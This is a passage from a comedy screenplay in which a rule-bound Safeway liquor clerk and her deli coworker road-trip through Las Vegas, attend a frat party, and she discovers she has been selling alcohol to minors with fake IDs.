storms\noutside.\nROXANNE\nMouth off his spoon, you cottage\ncheese wench!\nRuby, afraid to keep chewing, nervously looks to Min.\nMIN\nThis is my girlfriend Roxanne.\nRoxanne, this is-\nROXANNE\nYou think you can share a sensual\nsnack on my aunt’s ex-husband’s\nlawn without me noticing?\nRuby’s customer-service problem-solving skills click in. She\nquickly finishes chewing and stands up.\nRUBY\nHi Roxanne, my name is-\nROXANNE\nNo!\nRUBY\nMy name is-\nROXANNE\nHush!\nRUBY\nI work at Safeway with Min.\nMIN\nRuby wait!\nRoxanne’s hysteria is replaced with killer focus on Min.\nROXANNE\nSafe? Way?\nRUBY\nSafeway! He works in the deli, I\nwork in the liquor section, so we\ntechnically are inter-departmental\ncoworkers\n\n23.\nMin looks absolutely terrified. Roxanne gets even closer,\nputting on an aggressively “kind” persona. She smiles.\nROXANNE\nMin. Minny the Pooh. My little\nspace comet. Tell me the bimbo is\nlying. Tell me you’re not some deli\nboy.\nRUBY\nNot just some deli boy, he’s the\nultimate deli boy!\nRoxanne’s smile starts to crack, her voice lowering.\nROXANNE\nSo you’re not an astronaut?\nRuby’s eyes widen. Min looks humiliated. He drops his gaze to\nthe ground, and ashamedly nods his head no.\nRUBY\nOur mesquite turkey breast is so\nout-of-this-world I could see how\none would make that mistake.\nRoxanne glares at Ruby before storming inside. There’s a\nmoment of uncomfortable stillness between Ruby and Min.\nRUBY (CONT’D)\nDid I say something wrong?\nMin falls further into crippling embarrassment.\nUh oh, Roxanne is back. She’s got an armful of Min’s clothing\nand she throws it on to the lawn.\nROXANNE\nHere, deli boy! Since it looks like\nyou won’t be flying me to Mars\nanytime soon, I guess you’ll be\nneeding your Earth clothes back.\nShe then grabs a tiny black case.\nROXANNE (CONT’D)\nAnd here’s your stupid flute that\nyou’ll apparently never play in\nspace!\nBack inside she goes.\nRUBY\nI didn’t know you played the flute.\n\n24.\nMIN\nIt relaxes me.\nRoxanne hauls a Min-shrine on wheels out onto the porch. It’s\nsix feet tall, has dozens of pictures and caricatures of Min\nas an astronaut on it. Hearts and “Future Mrs. Space Min” are\ndoodled on it. A drawing of their future family is on there.\nROXANNE\nAnd so much for our three space\nchildren, Apollo, Mercury, and\nSolstice. Guess I’ll just have\nthree Earth children now and name\nthem Min, Is, and Deadtome. All one\nword.\nRoxanne kicks the shrine off the porch and runs back inside.\nRuby stops to admire the craftsmanship.\nRoxanne returns with a globe.\nROXANNE (CONT’D)\nAnd thanks to you, I’ll be stuck on\nthis stupid planet for the rest of\nmy life!\nRoxanne hucks the globe at Min.\nRUBY\nMin, look out!\nThe globe is en route to his face. Right when we would expect\nto hear the sound of impact on his face-\nINT. IHOP – MORNING\n-an orange soda in a clear diner cup is placed roughly on the\ntable.\nRuby and Min sit at a booth. Min’s face has clearly seen\nblunt-force trauma. He’s on his phone, holding it too close\nto his face.\nRUBY\nMin?\nMin heavily raises his head to look at her.\nRUBY (CONT’D)\nDo you always pretend to be an\nastronaut?\n\n25.\nMIN\nJust when I’m dating women.\nRuby tries to hide her overwhelming confusion.\nRUBY\nRight. Because...\nShe hopes Min will finish her sentence for her. He doesn’t.\nRUBY (CONT’D)\nRight.\nMin’s phone chimes.\nRUBY (CONT’D)\nIs that Roxanne? Did she apologize\nfor shoving that mini Min in your\nmouth?\nMIN\nNo. It’s Jasmine.\nRUBY\nAh. Who’s that?\nMIN\nA woman interested in being my\ngirlfriend.\nMin lowers his phone enough to reveal a dating profile of\nJasmine. She’s out of his league by a sizeable margin.\nRUBY\nWow! That’s quite the speedy\ntransition. Does she also think\nyou’re an astronaut?\nMin nods.\nMIN\nShe lives in Logan, Utah. You’re\ngoing to Idaho, right?\nRUBY\nWell, yeah I’m heading that-\nMIN\nCould you drop me off?\nRUBY\nIn…Utah?\nMin nods.\n\n26.\nRUBY (CONT’D)\nTo meet this girl? Who thinks you\nwork for NASA? That you know\nnothing about?\nMin nods.\nRUBY (CONT’D)\nMin, I’m sorry. This is an\nimportant expedition of selfactualization\nfor me to reflect on\nmy greater purpose as I journey\ntowards my next stage in life. I\ndon’t think bringing you along\nwould do either of us any good.\nMIN\nOkay. I guess I just thought we\nwere friends.\nRuby’s face freezes in a state of surprise.\nRUBY\nFriends? You and I, that’s what we\nare?\nMin nods.\nRUBY (CONT’D)\nAnd dropping you off in Utah is\nsomething a friend would do?\nMin nods.\nINT. CAR ON THE HIGHWAY – DAY\nBoth Ruby and Min are staring straight ahead. Ruby looks on\nedge, Min’s clothing is stacked high on his lap.\nThere’s several seconds of silence. The only sound is a\nsubtle whir from the road.\nRUBY\nJust to be clear, I don’t enjoy\nChristian Rock, Americanized\nReggae, or The Beach Boys, so don’t\nexpect to hear any of their songs\nover the next couple days.\nMin nods.\nMore whirring.\n\n27.\nRUBY (CONT’D)\nYou should also know that when I\nwas sixteen years old, I was\ndiagnosed with acute narcolepsy,\nand driving past dusk comes with\ngreater-than-average risk. We’ll\nhave to stop when the sun begins\nsetting.\nMin nods.\nMore whirring.\nRUBY (CONT’D)\nOh, I have an idea.\nRuby reaches into the console between them and pulls out a\ntiny plastic box labeled “Chat Pack.”\nRUBY (CONT’D)\nI have these in my car to fill\nuncomfortable silences with\nunexpected car mates. They’re\nquestions we can ask one another to\nlearn fun facts and interesting\nstories about each other’s lives up\nto this point. Go ahead, you can\npick out the first question.\nMin takes the box from Ruby and pulls out a small rectangular\nlaminated strip.\nMIN\nWhat is your favorite color?\nRUBY\nOoh, a spicy one to start off! If\nwe were on company time, I’d tell\nyou red and black obviously. But,\njust between us two, I’m a bigger\nfan of the color orange. My parents\neven tell me I can pull off the\ncolor which is historically hard to\ndo. What about you?\nMIN\nBrown is nice.\nRUBY\nThat’s a good one.\nA beat.\n\n28.\nRUBY (CONT’D)\nWhat’s the next question?\nMin pulls out another strip.\nMIN\nDo you have any tattoos? If so,\nshow the other person.\nRUBY\nNo, I do not. Having tattoos\nshowing outside of the uniform’s\ndimensions would be against\ncorporate policy. While we’re\nopening up to one another, it seems\nthat only “cool” kids get tattoos.\nAnd from my experience, “cool” kids\nand I do not get along. They think\nI’m...\nRuby gives up on trying to find the right word.\nMIN\nI have a tattoo.\nOops. A beat.\nRUBY\nOh. Right. Well, that’s...cool.\nMin nods.\nMore whirring.\nRUBY (CONT’D)\nSo what’s your tattoo?\nMIN\nMy mother’s rules.\nRUBY\nIs that a song?\nMIN\nNo.\nA pause. Then…\nMin starts unbuckling his pants, Ruby notices.\nRUBY\nMin, Min what are you…\nMin begins sliding his pants down below his butt.\n\n29.\nFrom the console Ruby grabs a screaming meanie. She presses a\nbutton to unleash a deafening sound.\nMin covers his ears just as his jeans are down far enough to\nreveal perfectly appropriate boxer shorts and a tattooed list\non both legs from the top of the knees down to the mid-thigh.\nThe top says “Mama Min’s Ten Rules.”\nMIN\nRuby, my ears hurt! Please stop!\nShe quickly shuts off the alarm.\nRUBY\nWhy the flippin’ heck are you\ntaking your pants off!\nMIN\nThe card said to show you my\ntattoo. I was just trying to follow\nthe rules.\nRuby squints her eyes and darts her head quickly between the\nroad and his hairless legs.\nRUBY\nI can’t read it while I’m driving,\nand I don’t want to accidentally\nglance too high up your thigh. Can\nyou just explain it to me?\nMin sighs and stares straight ahead.\nFLASHBACK – INT. BASEMENT – NIGHT\nIt’s a cold, unfinished space that is dimly lit. MAMA MIN,\nMin’s crazed mother, paces back and forth in front of a\nchalkboard with ten rules written out. A young Min sits on\nthe ground in front of his mom.\nAll dialogue in italics is spoken in Korean.\nMAMA MIN\nNow you listen closely, Min. Your\nfather is dead to us, understand?\nYou’re going to follow these rules\nvery closely.\nMin nods. As each rule is narrated with subtitles, each of\nthe corresponding rules written in English on the chalkboard\nis shown.\n\n30.\nMAMA MIN (CONT’D)\nNumber one: Never run away from\nMama. Number two: Never let your\nnipples see sunlight. Number three:\nNever wear sunglasses inside.\nNumber four: Never lie to a woman\nto make her fall in love with you.\nNumber five: Never buy a luxury\ncar. Number six: Never trust a\nHoliday Inn. Number seven: Never\ncry in front of other people.\nNumber eight: Never experiment in\nwomen’s fashion. Number nine: Never\ndabble in drugs, alcohol, or\ntattoos. And number ten-\nEND FLASHBACK\nRuby’s eyebrows are furrowed.\nRUBY\nWhy didn’t she want you working in\na deli?\nMIN\nMy father worked in a deli. She\nwanted me to stay far away from his\npath.\nMin pulls up his pants, as we read “Rule number ten: No\nworking in delis.”\nRUBY\nYour father did all of those things\non the list?\nMIN\nAccording to my mother, they were\nthe ten signs he was leaving her.\nRUBY\nAnd you were afraid you’d forget\nthem?\nMIN\nI got it so I would know how to\nleave her, too.\nThey both stare blankly ahead.\n\n31.\nEXT. SAFEWAY GAS PUMP – EVENING\nMin is on his phone outside the car as Ruby finishes filling\nthe tank.\nRUBY\nWe’ve only got an hour or so before\nsunset, so we best find a hotel to\nstay at.\nShe pulls out her phone and pecks at it like an old man.\nRUBY (CONT’D)\nI’ve never been to Las Vegas\nbefore. Should we get…I don’t\nknow…a little crazy?\nMin’s raises his eyebrows ever so slightly.\nEXT. HIGHWAY – EVENING\nThe PT Cruiser whizzes by a sign that reads “Las Vegas - 10.”\nEXT. UNMARKED PARKING LOT – EVENING\nMusic plays as we see the bottom half of the flaming purple\nchariot pulling into a parking spot.\nThe door opens, out step legs in black pants and black\nSketcher’s shape-ups. From the passenger side, legs in\nheather-grey sweatpants and flip flops.\nEXT. ENTRANCE TO HOTEL/CASINO – EVENING\nThe music continues as they approach a hotel entrance, Min\nclutching his pile of clothes. They stare up at the sign.\nThe music stops as they take in what’s around them. They’re\nin the middle of nowhere. No casinos, no limos, nothing.\nMIN\nVegas is smaller than I thought.\nRuby looks down at her phone.\nRUBY\nThis neighborhood had the highest\nsafety rating in all of Vegas.\nThey look around some more. Wow, really, there’s... nothing.\nRuby looks back down at her phone.\n\n32.\nRUBY (CONT’D)\nBut they do have slot machines, so\ntechnically, it’s a casino.\nRuby’s face lights up with childlike rebellion. After several\nfailed attempts of working up the courage to jump in the\nrevolving door, she opts for the manual one. Min follows.\nINT. SHITTY HOTEL LOBBY – EVENING\nThis hotel hasn’t passed an inspection since Min’s dad left.\nThree ancient slot machines stand across the room. An old\nlady is slumped over on one, a lit cigarette in her hand.\nRuby’s excitement overshadows the glaring shittiness of this\nhotel. She walks over to the counter and rings the bell.\nThe sleeping woman on the slot machine jolts up. BABS is in a\nsweatsuit and her voice sounds like she just took a fist to\nthe voice box. She walks over to the ancient computer.\nBABS\nEnchante! The name’s Babs. How can\nI help you two?\nRUBY\nYes, I checked in via your online\nportal. And if you’re open to\nconstructive criticism, I wonder if\na more updated website would help\nboost potential sales.\nBABS\nWe strive to keep things “barely\nfunctioning” around here. You know,\nkeep costs low.\nBabs slaps the side of the computer to shock it back to life.\nBABS (CONT’D)\nYou must be Ruby?\nRuby subtly moves her hair away from her name tag.\nRUBY\nThat’s correct!\nBABS\nLooks like we have a room with two\nqueen beds. Uh oh, trouble in\nparadise?\n\n33.\nRUBY\nOh no, Min and I aren’t in a\nrelationship of romantic sorts.\nHe’s uh…he’s my friend.\nShe says “friend” the way someone says “fiancé” for the first\ntime.\nBabs helps grab Ruby’s luggage, her body fighting her every\nstep of the way.\nBABS\nFollow me, kids.\nBabs stiffly walks towards the elevators. They follow.\nINT. HOTEL ROOM – EVENING\nBabs opens the door after giving it a hearty shove.\nBABS\nWelcome to your temporary oasis.\nThe room is modest, to put it nicely.\nRUBY\nI read your customer service\nreviews online and they had very\ngenerous things to say.\nBABS\nOh, you know I don’t really do that\nanymore. I’m a little too old to be\ncatering to those customer needs, I\ntell you what, menopause just\nreally takes it out of-\nRuby isn’t on the same page.\nBABS (CONT’D)\nJust an old Vegas joke for you!\nIt wasn’t a joke. Ruby pretends she gets it.\nBABS (CONT’D)\nYou guys have big plans for the\nnight? Looking for any nightclub or\nrestaurant recommendations?\nMin sits on the bed and bounces to test the firmness. Still\nholding his clothes, he tips over to lay down.\n\n34.\nRUBY\nWe passed a place on our drive in\nthat I’ve got my eye on.\nEXT. WALGREENS – NIGHT\nThis part of old Vegas looks slightly more alive.\nINT. WALGREENS – NIGHT\nRuby is staring at a glass freezer case. Staring at the lean\ncuisine options, she picks the chicken teriyaki stir fry.\nShe sees Min down the toy aisle playing with a bop it. She\nwanders down the greeting card aisle.\nThere’s a section of cards labeled “Friendship.” She looks\naround to make sure no one is watching, then cautiously picks\none up to examine.\nThe outside reads in girly script “Luckily for me, you’re\nmore than a friend…” She opens it up to reveal the inside:\n“…because you’re my SISTER til the very end.” Two sister\nstick figures are hugging.\nRuby looks back at Min in the toy aisle. He just missed a\nbop, and he’s hanging his head in defeat. Ruby smiles and\nlooks back at the card.\nMALE VOICE\nRuby?\nRuby hides the card like a middle schooler with a titty mag.\nShe recognizes Blake, the patron from back home.\nRUBY\nBlake?\nBLAKE\nI don’t believe it! Ruby Tuesday is\nin Vegas? What are you doing here?\nRUBY\nI’m uh, I’m just making a pit stop\non my way to Idaho. Onto bigger and\nbetter things, just like you.\nBLAKE\nI heard about the old place burning\ndown. That’s a major bummer, man.\nI’m sorry.\n\n35.\nMin comes up behind Ruby, on his phone.\nRUBY\nThis is Min, you might recognize\nhim from the deli.\nBLAKE\nNo kidding! I didn’t realize all\nyou guys were friends outside of\nwork.\nRUBY\nCrazy, right?\nBLAKE\nHey, if you guys don’t have any\nplans tonight, we’re throwing a\nparty at Sigma Chi. You guys should\ntotally stop by! Girls get in free,\nguys have to pay ten bucks.\nRUBY\nThat’s very kind of you, Blake. But\nnothing has changed. I’m still just\nan alcohol sales associate, not a\npartier.\nBLAKE\nPotatoe, Patahtoe. Well, here, in\ncase you change your mind….\nBlake grabs a marker from a nearby shelf and takes the card\nRuby has failed at hiding. She looks mortified. He writes on\nthe back of it.\nBLAKE (CONT’D)\nThose are directions on how to get\nthere. Sorry, you probably have to\nbuy that now.\nRUBY\nYeah I wasn’t planning on buying\nthis silly card, but I guess I will\nnow just because you wrote on it.\nBLAKE\nAlright well I gotta go grab some\nrubbers. I’ll see you there, Rubes?\nRUBY\nWe’ve got a long day of driving\nahead of-\n\n36.\nBLAKE\nI’ll take that as a maybe.\nBlake jogs out of the aisle. Ruby still tries hiding the card\nfrom Min, but she looks down at the back of it to see Blake\nhas written “Put UNLV Sigma Chi in your GPS.”\nINT. SHITTY HOTEL LOBBY – NIGHT\nRuby puts her Lean Cuisine in the communal microwave. She\nreaches into her back pocket and pulls out a tiny laminated\nphotograph of Marion Barton Skaggs, founder of Safeway. His\ntitle, birthday, and death day are labeled.\nRUBY\nWhat are you trying to tell me,\nMarion? Have I failed my duties as\nan alcohol sales associate by not\npartaking in alcohol’s most\nfruitful environment? Am I…am I\nmeant to party?\nBabs comes rolling behind Ruby facing backwards on an office\nchair. Ruby doesn’t see her at first.\nBABS\nYou looking to party?\nRuby jumps. The microwave goes off.\nRUBY\nNo. I…I don’t think so. I’ve never\ndone it before.\nRuby shyly stirs the stir fry and puts it back.\nBABS\nWell if you’re looking to have a\ngood time, I can certainly help you\nout.\nBabs winks and conspicuously contorts her face.\nRUBY\nAren’t you worried about leaving\nyour station in the event that more\npatrons arrive to check in?\nBabs laughs so hard she starts to cough uncontrollably.\nBABS\n(in between coughs)\nOh honey...That’s not gonna happen.\n\n37.\nRuby ponders this more than anyone should.\nBABS (CONT’D)\nI used to be the hottest partygoer\nin Vegas. These legs would stop\ntraffic on the strip like you\nwouldn’t believe before the\nvaricose veins set in.\nRUBY\nAnd you remember enough about it to\nteach me?\nBABS\nOh baby, it’s like riding a bike.\nHow long do we have until the party\nstarts?\nRUBY\nHe said it starts at eight.\nBABS\nYou won’t want to get there until\n9:30 at the earliest.\nRUBY\nI don’t show up late.\nBABS\nYou do now.\nRuby looks over at Min, who has been sitting at the slot\nmachine the entire time on his phone.\nRUBY\nHey, Min?\nHe looks up.\nRUBY (CONT’D)\nDo you wanna go to a party?\nMIN\nOkay.\nBABS\nFollow me.\nBabs pushes herself through the lobby on the office chair.\nMin and Ruby follow.\n\n38.\nINT. BACK ROOM – NIGHT\nMin and Ruby stand in a dark closet. Babs finishes pouring\nbooze into two red solo cups and hand them to Min and Ruby.\nBABS\nDrink this.\nRuby, without thinking, goes to drink the contents of the\ncup. The taste hits her, and she spits all over her clothes.\nShe screams/chokes.\nRUBY\nWhat is that?\nBABS\nAbout six different kinds of\nalcohol and a hearty dash of\nCholula. Call it Babbie’s Pregame\nSpecial.\nRUBY\nOh…\nWait, that’s what alcohol tastes like?\nRUBY (CONT’D)\nOH…\nMin finishes his cup.\nMIN\nAaah.\nRuby and Babs look on with disbelief.\nINT. HOTEL ROOM BATHROOM - NIGHT\nAn earnest Babs is making an absolute mess of Ruby’s hair.\nMin curiously watches on.\nBABS\nListen up kittens, there’s a few\nthings you should know about\nparties. First and foremost, if the\ncops come while you’re tripping on\nLSD, just play dead. They don’t\nwanna fill out all that paperwork\nso they’ll pretend they don’t see\nyou lying dead on the carpet.\nRuby is jotting notes down on a notepad.\n\n39.\nRUBY\nQuick question: what exactly are\n“rubbers?”\nBABS\nYou talking condoms? I didn’t know\npeople still called ‘em rubbers!\nRUBY\nI think you might be mistaken. The\nman who invited us to the party was\nin a rush to get some, I didn’t\nknow if it was customary for\neveryone to bring something rubber\nto a college party.\nBABS\nThe City of Sin claims another\nvictim! It’s nothing to be nervous\nabout. If you’re not digging Mr.\nParty Host, just shut it down. But\nif, you know, you’re feeling frisky\nand you’re not too messed up, you\ncan just make your way to his\nbedroom and have some fun! Turn on\nsome music to set the mood.\nRUBY\nWhat kind of mood?\nBABS\nA romantic mood!\nRuby jots this down.\nRUBY\nSeems a bit inappropriate for a\nsaleswoman and her patron, but if\nthat’s how parties work...\nBABS\nWe need to get you in some party\nclothes though. You need another\nBabbie’s special?\nRUBY\nOh I’ve got plenty left in my-\nRuby looks where she set her cup, only to find Min guzzling\nthe rest of it. He looks up from the empty cup sheepishly.\nMIN\nI find it quite delicious.\n\n40.\nINT. HOTEL ROOM – NIGHT\nRuby is standing straight up. Babs is examining her while\nsmoking a cigarette on the bed.\nBABS\nTake the name tag off.\nRUBY\nBut my name tag is-\nBABS\nOff!\nRuby sighs and takes off her name tag. She’s left in her\nblack pants and khaki colored cotton tee.\nBABS (CONT’D)\nThis is really all you have?\nRuby gestures to the open suitcases on the bed. They contain\nnothing but khaki pants, black polos, and granny bras.\nBABS (CONT’D)\nYou’ve really got a signature look,\nnow don’t you?\nRUBY\nMore like a Signature Select look,\nam I right?\nRuby laughs, Babs clearly unaware of Safeway’s store brand.\nBABS\nWe need the tub.\nRUBY\nThe tub?\nBabs, defying the limits of her body, runs out of the room.\nBABS\nThe tub!\nRUBY\n(to Min)\nThe tub?\nMIN\nThe tub.\nRUBY\nWhat’s that?\n\n41.\nMIN\nA tub, I assume.\nMin and Ruby stand still and silent for several long moments.\nBabs enters, carrying an enormous teal tub.\nBABS\nThe tub!\nShe throws it down on the ground and struggles to catch her\nbreath.\nBABS (CONT’D)\nIt’s where we keep all the clothes\nthat guests leave in their rooms\nafter they check out.\nRuby cautiously opens the tub.\nRUBY\nAnd they’ve all been washed\nthoroughly?\nBABS\nYeah I’m sure these people washed\ntheir clothes.\nRuby pulls out a short, lowcut black dress.\nRUBY\nIs this party appropriate?\nBabs stands up and touches the dress.\nBABS\nWhat I wouldn’t give to wear this\nand sneak into another South-\nAmerican cock fight...looks a bit\nsmall though.\nBabs tosses it aside, Ruby pulls out a pair of yellow tube\nsocks, men’s jeans, an old tattered sports bra, and a night\ngown.\nRUBY\nDo any of these work?\nBABS\nYikes. Not yet, but...\nBabs whips out a butterfly knife.\n\n42.\nBABS (CONT’D)\nGive me five minutes. And one of\nyour polos.\nRuby looks mortified.\nBABS (CONT’D)\nTrust me.\nMIN\nWhat about me?\nThey both turn, having assumedly forgot he was there.\nBABS\nOh...you also want party clothes?\nMin nods.\nBABS (CONT’D)\nWell in that case-\nCUT TO:\nEXT. SHITTY HOTEL – NIGHT\nRod Stewart’s “Do Ya Think I’m Sexy” plays. Out walks Ruby\nand Min towards the PT Cruiser.\nRuby is wearing the men’s jeans up to her waist with holes\nnow cut out all over. Her work polo has been turned into a\none-shoulder crop top. Her bra strap shows and she’s wearing\nher trusted backpack. She takes tiny, uncomfortable steps.\nIn a weird and unfamiliar way, Ruby looks…hot?\nMin is in the short black dress, his nipples just barely\npoking out, and yellow tube socks that hit him just below the\nknee. His upside-down thigh tattoos are showing. He’s an\nandrogynous dream.\nRuby reaches into her bra and pulls out her name tag. She\nputs it on, suddenly looking more confident.\nBabs looks on from the doorway, beaming like a proud mother\nsending her kids off to prom.\nEXT. SIGMA CHI FRAT HOUSE – NIGHT\nRuby and Min stand still at the curb of the house. There are\ncollege kids in typical “I’m not living under Mom’s roof\nanymore” attire. They stare at the front door.\n\n43.\nRUBY\nWell, we visited a party. Time to\ngo.\nRuby starts walking away.\nMIN\nHey Ruby?\nRUBY\nYeah?\nMIN\nI think the party is inside.\nShe reluctantly returns to Min’s side.\nMIN (CONT’D)\nIt’s okay if you’re nervous. I am\ntoo.\nRUBY\nYou are?\nMIN\nIsn’t it obvious? I’m shaking.\nHe’s not.\nMIN (CONT’D)\nBut I think if we stick together,\nit’s going to be okay.\nRuby seems to take the tiniest sigh of comfort.\nShe takes a moment to calibrate to the booming bass radiating\nfrom the house. She gently bops to the beat.\nRUBY\nOkay. We stick together?\nMin nods.\nRuby takes a deep breath. Five six seven eight-\n-she leads the way walking up the sidewalk to the beat. Too\ndramatically. Her shoulders are doing all the walking. Min\nfails to figure out the beat. He scurries behind.\nINT. SIGMA CHI FRAT HOUSE – NIGHT\nIt’s a party alright. College kids drinking and flirting. A\nBRO at the door stops them.\n\n44.\nBRO\nThere’s a cover tonight for dudes.\nHe looks at Ruby.\nBRO (CONT’D)\nYou’re good.\nShe enters. The bro looks at Min in his dress.\nBRO (CONT’D)\nUhh…\nMin stares back. With a deadpan glare, he winks at the bro.\nHe follows Ruby inside.\nRUBY\nThere doesn’t appear to be a\nguestbook, but I assume that’s\ntypical for these kind of\ngatherings, so don’t panic.\nA raging Pitbull-esque jam comes on the stereo. The college\nkids start moving their bodies in a mating-ritualistic way.\nRUBY (CONT’D)\nAlright Min, showtime.\nShe takes a moment to close her eyes and find the beat. She\nthen breaks into a dramatic salsa dance. It’s…a lot.\nRUBY (CONT’D)\nDon’t just stand there! We’re at a\nparty, Min! We need to blend in.\nShe grabs Min and leads him in the dance. He follows along\nwell, surprisingly. People stare, they smile and laugh in\napproval. They don’t realize this is just Ruby being Ruby.\nShe senses their feedback and kicks it up a notch. She twirls\nMin, her once-hidden hips now taking control.\nThe partiers start to cheer. The louder they cheer, the\nstronger the party energy infiltrates Ruby’s body. A circle\nforms as Ruby lifts Min above her head. Afterall, she’s got\nthe forearm strength to work in liquor.\nMaking his way through the crowd is our boy Blake.\nBLAKE\nRuby Tuesday! You made it!\nRuby and Min stop their routine.\n\n45.\nRUBY\n(out of breath)\nBlake, hello.\nBlake gives Ruby a hug. Her eyes widen.\nBLAKE\nYou want a tour of the place?\nRUBY\nI do love architecture…\nBLAKE\nDope! Follow me.\nRuby begins to follow Blake, but she quickly stops.\nRUBY\nWait!\nShe turns around to Min, who is admiring the snack table.\nRUBY (CONT’D)\nAre you gonna be okay if I go with\nBlake?\nMin smiles and nods. He gives her a thumbs up. Ruby smiles\nback. Ruby heads back towards Blake as Min looks back towards\nthe snack table, suddenly furrowing his eyebrows.\nINT. FRAT BOY KITCHEN – NIGHT\nBlake leads Ruby towards a table full of booze. The\nBottomfeeder’s blobfish stares at all who enter.\nBLAKE\nThis is the kitchen. It’s where the\nguys cook food.\nRUBY\nThat makes sense.\nBLAKE\nCan I get you a drink?\nRUBY\nOh, I don’t really-\nShe shakes off her default rejection and refocuses.\nRUBY (CONT’D)\n-see a problem with that. I sell\nalcohol and I drink it.\n\n46.\nBLAKE\nRight on! A Bottomfeeders and\nsprite cool?\nRUBY\nHold the sprite.\nBLAKE\nStraight Bottomfeeders? You’re a\nmaniac!\nShe’s clearly never had straight Bottomfeeders. He pours her\na generous cup.\nBLAKE (CONT’D)\nThe tour continues!\nRuby takes a large gulp of the vodka, and in an attempt to\nchoke it down, shoots it out her nose and back into the cup.\nLuckily Blake didn’t notice. She takes another sip.\nINT. FRAT HOUSE HALLWAY - NIGHT\nDoors line the near-empty hallway.\nBLAKE\nThese are the bedrooms, they kinda\nsmell like a janitor’s closet.\nBlake opens one of the empty rooms. They walk into the-\nINT. FRAT BOY ROOM – NIGHT\nRuby grabs the notepad from her bra while Blake isn’t\nlooking.\nINSERT – NOTEPAD\nThe top is labeled “Bab’s Party Tips.”\nOnly the second one is visible, which reads “Blake + Bedroom\n= Romantic music.”\nBACK TO SCENE\nShe quickly stuffs the notepad back into her bra.\nRuby takes a deep breath and walks inside the room with\nsimilar shoulder movements as when she entered the house.\n\n47.\nBLAKE\nMy buddy Grant and I are gonna be\nsharing this room once we’re all\nmoved in. I’m super stoked cause he\nhas a massive bean bag-\nHe’s interrupted by a song abruptly starting. It’s the bridal\nchorus playing from Ruby’s phone.\nBlake freezes, confused. Ruby tries reading his reaction to\nsee if this is normal.\nBLAKE (CONT’D)\nYou hear that too, right?\nRUBY\nI do.\nThey awkwardly stand in the music for a moment.\nBLAKE\nWeird. The house has a strict “no\nwedding” rule. Anyway, I’ll show\nyou the urinals now. We’ve got like\nseven in one bathroom, it’s crazy!\nBlake walks out of the room. Ruby, confused, turns off her\nmake-out music. She pulls out the notepad again and stares at\nher notes.\nRUBY\nMaybe I missed a step...\nINT. FRAT LIVING ROOM – NIGHT\nBlake and Ruby rejoin the party downstairs. Min is sitting\ninconspicuously in the corner on a chair.\nBlake stares at the snack table.\nBLAKE\nHoly Toledo, who brought the\nsammies?\nRuby looks over to see a platter of gourmet mini subs. People\nare grabbing them like crazy.\nRUBY\nDid you make sandwiches for\neveryone, Min?\nMin smiles mischievously.\n\n48.\nRUBY (CONT’D)\n(whispers)\nWhere did you get the necessary\nsandwich supplies?\nMIN\n(whispers)\nI’m the Deli Meat King.\nGRANT, a blonde kid who looks too young to be making\ndecisions for himself, approaches the crew.\nGRANT\nWhat’s up Big Daddy Blake?\nBLAKE\nGrant! You’re never gonna believe\nit. This is that girl Ruby I was\ntelling you about!\nGRANT\nNo way! You’re the Ruby?\nRUBY\nOh well, now, I suppose I might be.\nGRANT\nThe one who worked at Safeway?\nRuby face puckers in pride.\nRUBY\nYou know, sometimes you think your\nhard work goes unnoticed by your\npatrons, but then you’re reminded.\nThey see your hard work, your\ndedication, your forear-\nBLAKE\nYeah man, she’s been hooking me up\nsince I was fourteen! She’s the\nonly reason I could buy underage.\nRuby’s freezes. Wait a second...\nRUBY\nBlake, you should know that if this\nis some sort of joke or prank that\nI don’t do well with jokes or\npranks.\nBLAKE\nSee dude? She’s hilarious!\n\n49.\nGRANT\nA hero to all of us under twentyone.\nRUBY\nBlake why are you telling him I\nsell to minors? I would never do\nsuch a thing! I could go to jail,\nor worse, I could lose my job!\nThey laugh. Blake starts to realize Ruby isn’t kidding.\nBLAKE\nRubes, you know I’m eighteen right?\nRUBY\nWhat…what…what do you mean you’re\neighteen? Your ID says you’re fortyfour…\nThat’s like, twenty-three\nyears of being legal! It has your\nface on it!\nBLAKE\nIt’s fake.\nRUBY\nThat’s against the law!\nBLAKE\nYeah, exactly! You were the only\none in town cool with using them.\nThat’s why everyone loves you!\nRUBY\nThat’s…that’s why people liked me?\nBecause I’m... bad at my job?\nIn an instant, Ruby’s world has changed.\nGRANT\nYou’re like the Robin Hood of drunk\nhigh schoolers.\nBLAKE\nDrunk college kids now, hey-o!\nGrant and Blake clink cups.\nRUBY\nIs anybody here even twenty-one?\nRuby runs up to a girl.\n\n50.\nRUBY (CONT’D)\nAre you twenty-one?!\nGIRL #1\nI’m nineteen.\nRuby looks dumbfounded. She goes up to another PARTIER.\nRUBY\nAre you twenty-one?\nPARTIER\nI will be next year!\nAnother dramatic gasp. An ACTUAL CHILD walks by.\nRUBY\nAre you-\nACTUAL CHILD\nDon’t ask questions you don’t want\nthe answers to, honey.\nRUBY\n(shouts)\nIs anyone here allowed to be\ndrinking alcohol?\nMin raises his hand.\nGRANT\nThank you for your service, Ruby!\nThe room erupts in applause.\nRUBY\nNo…no…\nThe room chants her name. They form a circle around her,\npouring shots of liquor into each other’s mouths.\nRUBY (CONT’D)\nStop it! Stop that right now, this\nis not a cause for celebration! I\ngotta get outta here.\nShe starts pushing past the sea of underage drunkards.\nRUBY (CONT’D)\nMin, run! We’re surrounded\nby…minors!\nRuby runs to the front door, grabbing liquor bottles from the\ncollege kids on her way out. Min chases after her.\n\n51.\nEXT. SIGMA CHI FRAT HOUSE - NIGHT\nRuby, in a daze, runs outside, dropping booze bottles on the\nlawn.\nMIN\nRuby!\nRUBY\nWhat!\nMIN\nAre you okay?\nRUBY\nDid you not just hear what I heard?\nI’ve been selling to minors!\nMIN\nIt was an accident. We all make\nmistakes sometimes.\nRUBY\nI’ve been selling to him for years,\nMin! Years!\nMin doesn’t have a response. Ruby crumbles onto the lawn of\nthe Frat house and pulls out her phone. With shaky hands, she\nscrolls through her five contacts and calls Brian (Manager).\nThe phone rings.\nCUT TO:\nINT. DIMLY LIT LIVING ROOM – NIGHT\nBrian, alone on a couch, answers in a hushed voice.\nBRIAN\nRuby you better have won the\nlottery or have violent HPV for\ninterrupting my night. I’m a\nschmooze and a half away from\nseducing the head judge of Little\nMiss Arizona.\nINTERCUT – PHONE CALL\nRUBY\nI am so sorry. I just…I need to\ninform you that I’m a criminal.\nI’ve been selling to minors.\nAlcohol, that is.\n\n52.\nBRIAN\nYeah, and?\nRUBY\nI’m not sure if you heard me\ncorrectly. I’m a felon, Brian. I\nneed to be put in prison.\nBRIAN\nYou’ll certainly get HPV then.\nRUBY\nDid you 